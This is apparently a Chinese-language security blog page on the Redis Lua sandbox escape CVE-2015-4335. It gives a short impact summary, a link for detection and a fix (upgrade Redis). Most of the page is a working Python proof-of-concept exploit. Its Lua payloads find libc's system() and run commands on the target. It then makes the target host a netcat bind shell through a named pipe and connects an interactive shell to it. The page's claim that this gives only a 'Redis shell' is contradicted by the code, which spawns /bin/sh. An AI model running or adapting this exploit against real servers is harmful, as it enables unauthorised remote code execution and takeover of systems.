Pivotal Software Redis < 2.8.21 / 3.x < 3.0.2 RCE
Redis CVE-2015-4335 EVAL Lua Sandbox Security Bypass Vulnerability
Contents
参考资料
Pivotal Software Redis < 2.8.21 / 3.x < 3.0.2 RCE
https://www.tenable.com/plugins/nessus/109323
影响说明
(初步认识,后续可能修改)
任意代码执行 (Remote Code Execution)
不过这个代码是 Redis Shell, 并不是系统 Shell。
换言之,可以绕过 Redis 的认证机制。
检测方法
PoC
Redis CVE-2015-4335 EVAL Lua Sandbox Security Bypass Vulnerability PoC
https://gist.github.com/firsov/4393cc162ff87e00324a6a53a353bda2
以下代码做了少量修改
#!/usr/bin/env python
# https://www.reddit.com/r/netsec/comments/4a93eo/analysis_of_vm_escape_by_using_lua_script/d0zcsgl
import sys
import time
import getopt
import socket
'''
Gives the hexadecimal representation of "command"
'''
def cmdtohex(command):
pattern = "dwords_to_double(0x%s, 0x%s),"
command = command.ljust(16, '\0')
c1 = command[0:4][::-1].encode("hex")
c2 = command[4:8][::-1].encode("hex")
c3 = command[8:12][::-1].encode("hex")
c4 = command[12:16][::-1].encode("hex")
return (pattern % (c1, c2)) + (pattern % (c3, c4))
luacode1 = r'''eval 'local asnum = loadstring((string.dump(function(x) for i = x, x, 0 do return i end end):gsub("\96%z%z\128", "\22\0\0\128"))) local function double_to_dwords(x) if x == 0 then return 0, 0 end if x < 0 then x = -x end local m, e = math.frexp(x) if e + 1023 <= 1 then m = m * 2^(e + 1074) e = 0 else m = (m - 0.5) * 2^53 e = e + 1022 end local lo = m % 2^32 m = (m - lo) / 2^32 local hi = m + e * 2^20 return lo, hi end local function dwords_to_double(lo, hi) local m = hi % 2^20 local e = (hi - m) / 2^20 m = m * 2^32 + lo if e ~= 0 then m = m + 2^52 else e = 1 end return m * 2^(e-1075) end local function dword_to_string(x) local b0 = x % 256; x = (x - b0) / 256 local b1 = x % 256; x = (x - b1) / 256 local b2 = x % 256; x = (x - b2) / 256 local b3 = x % 256 return string.char(b0, b1, b2, b3) end local function qword_to_string(x) local lo, hi = double_to_dwords(x) return dword_to_string(lo) .. dword_to_string(hi) end local function add_dword_to_double(x, n) local lo, hi = double_to_dwords(x) return dwords_to_double(lo + n, hi) end local function band(a, b) local p, c=1, 0 while a > 0 and b > 0 do local ra, rb = a % 2, b % 2 if ra + rb > 1 then c = c + p end a, b, p = (a - ra) / 2, (b - rb) / 2, p * 2 end return c end rawset(_G, "add_dword_to_double", add_dword_to_double) rawset(_G, "asnum", asnum) rawset(_G, "double_to_dwords", double_to_dwords) rawset(_G, "dwords_to_double", dwords_to_double) rawset(_G, "dword_to_string", dword_to_string) rawset(_G, "qword_to_string", qword_to_string) rawset(_G, "band", band) collectgarbage "stop" debug.sethook()' 0'''
luacode2 = r'''eval 'coroutine.wrap(loadstring(string.dump(function() local magic = nil local function middle() local asnum = asnum local double_to_dwords = double_to_dwords local add_dword_to_double = add_dword_to_double local dwords_to_double = dwords_to_double local qword_to_string = qword_to_string local band = band local co = coroutine.wrap(function() end) local substr = string.sub local find = string.find local upval local luastate1 = asnum(coroutine.running()) local luastate2 = add_dword_to_double(luastate1, 8) local n1 = 1 local n2 = 2 local n4 = 4 local n6 = 6 local n7 = 7 local n8 = 8 local n16 = 16 local n24 = 24 local n32 = 32 local hfff = 0xfff00000 local h38 = 0x38 local PT_DYNAMIC = 2 local DT_NULL = 0 local DT_STRRAB = 5 local DT_SYMTAB = 6 local DT_DEBUG = 21 local libc = "libc.so." local system = "__libc_system" local null = "\0" local empty = "" local luastate1_bkp local luastate2_bkp local lo, hi local base local ptheader local dynamic local symbol local debug local s, e, tmp, n local str = empty local link_map local libc_dynamic local libc_base local libc_system local libc_strtab local libc_symtab local commands = { XXXCOMMANDSXXX } local function put_into_magic(n) upval = "nextnexttmpaddpa" .. qword_to_string(n) local upval_ptr = qword_to_string(add_dword_to_double(asnum(upval), 24)) magic = upval_ptr .. upval_ptr .. upval_ptr end put_into_magic(add_dword_to_double(asnum(co), n32)) lo, hi = double_to_dwords(asnum(magic)) base = dwords_to_double(band(lo, hfff), hi) put_into_magic(add_dword_to_double(base, n32)) lo, hi = double_to_dwords(asnum(magic)) ptheader = add_dword_to_double(base, lo) while true do put_into_magic(ptheader) lo, hi = double_to_dwords(asnum(magic)) if lo == PT_DYNAMIC then put_into_magic(add_dword_to_double(ptheader, n16)) dynamic = asnum(magic) break else ptheader = add_dword_to_double(ptheader, h38) end end while true do put_into_magic(dynamic) lo, hi = double_to_dwords(asnum(magic)) if lo == DT_DEBUG then put_into_magic(add_dword_to_double(dynamic, n8)) debug = asnum(magic) break else dynamic = add_dword_to_double(dynamic, n16) end end put_into_magic(add_dword_to_double(debug, n8)) link_map = asnum(magic) while true do put_into_magic(add_dword_to_double(link_map, n8)) n = asnum(magic) while true do put_into_magic(n) tmp = qword_to_string(asnum(magic)) s, e = find(tmp, null) if s then str = str .. substr(tmp, n1, s - n1) break else str = str .. tmp n = add_dword_to_double(n, n8) end end s, e = find(str, libc) if s then put_into_magic(link_map) libc_base = asnum(magic) put_into_magic(add_dword_to_double(link_map, n16)) libc_dynamic = asnum(magic) while true do put_into_magic(libc_dynamic) lo, hi = double_to_dwords(asnum(magic)) put_into_magic(add_dword_to_double(libc_dynamic, n8)) if lo == DT_NULL then break elseif lo == DT_STRRAB then libc_strtab = asnum(magic) elseif lo == DT_SYMTAB then libc_symtab = asnum(magic) end libc_dynamic = add_dword_to_double(libc_dynamic, n16) end break else put_into_magic(add_dword_to_double(link_map, n24)) link_map = asnum(magic) end end while true do put_into_magic(libc_symtab) lo, hi = double_to_dwords(asnum(magic)) n = add_dword_to_double(libc_strtab, lo) str = empty while true do put_into_magic(n) tmp = qword_to_string(asnum(magic)) s, e = find(tmp, null) if s then str = str .. substr(tmp, n1, s - n1) break else str = str .. tmp n = add_dword_to_double(n, n8) end end if str and str == system then put_into_magic(add_dword_to_double(libc_symtab, n8)) lo, hi = double_to_dwords(asnum(magic)) libc_system = add_dword_to_double(libc_base, lo) break else libc_symtab = add_dword_to_double(libc_symtab, n24) end end put_into_magic(add_dword_to_double(asnum(co), n32)) magic = libc_system put_into_magic(luastate1) luastate1_bkp = asnum(magic) put_into_magic(luastate2) luastate2_bkp = asnum(magic) for i=n1,#commands,n2 do put_into_magic(luastate1) magic = commands[i] put_into_magic(luastate2) magic = commands[i + n1] co() end put_into_magic(luastate1) magic = luastate1_bkp put_into_magic(luastate2) magic = luastate2_bkp end middle() end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1)))()' 0'''
# First the victim listens on given port, receives "script", and saves it into
# a file named "a" ...
shellcmd1 = "nc -lpXXXPORTXXX >a" # for Debian's netcat (with -p)
#shellcmd1 = "nc -l XXXPORTXXX >a" # for Red Hat's netcat (without -p)
# ... then the victim sleeps, to make sure the script arrived, and executes the
# script.
shellcmd2 = "sleep 3 && sh a"
# This is the script that is sent to the target, and executed there
script = '''mknod /tmp/p p; /bin/sh 0</tmp/p|nc -lpXXXPORTXXX 1>/tmp/p''' # for Debian's netcat (with -p)
#script = '''mknod /tmp/p p; /bin/sh 0</tmp/p|nc -l XXXPORTXXX 1>/tmp/p''' # for Red Hat's netcat (without -p)
# Victim's IP address
target_ip = None
# The port victim will listen for "script", and further commands.
target_port = None
try:
opts, args = getopt.getopt(sys.argv[1:],"hi:p:",["ip=","port="])
except getopt.GetoptError:
print('Usage: redis_rce_poc_linux.py -i <target IP> -p <target port>')
sys.exit(1)
for opt, arg in opts:
if opt == '-h':
print('Usage: redis_rce_poc_linux.py -i <target IP> -p <target port>')
sys.exit()
elif opt in ("-i", "--ip"):
target_ip = arg
elif opt in ("-p", "--port"):
target_port = arg
if (target_ip is None) or (target_port is None):
print('Options "target IP" and "target port" are mandatory!')
print('Usage: redis_rce_poc_linux.py -i <target IP> -p <target port>')
sys,exit(2)
shellcmd1 = shellcmd1.replace("XXXPORTXXX", target_port)
script = script.replace("XXXPORTXXX", target_port)
print(shellcmd1)
print(script)
commands = cmdtohex(shellcmd1) + cmdtohex(shellcmd2)
luacode2 = luacode2.replace("XXXCOMMANDSXXX", commands)
print(commands)
# send the exploit code
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, 6379))
s.send(luacode1)
s.send("\n\n")
s.send(luacode2)
s.send("\n\n")
s.close()
#send the script
time.sleep(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, int(target_port)))
s.send(script)
s.close()
# Python could be used to send commands and receive restults,
# but recv'ing all the data is a hassle, so its easier to just
# use netcat.
time.sleep(5)
print("Backdoor should be listening now, you can connect" + \
" to " + target_ip + " " + target_port)
# Redis Shell
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, int(target_port)))
while True:
input = raw_input('> ')
if input == 'quit':
break
s.send(input + "\n")
print(s.recv(8192))
s.close()
解决方案
Update to Redis 2.8.21 / 3.0.2 or higher.
将 Redis 升级到更高版本 。
补充说明
暂无
Leave a Reply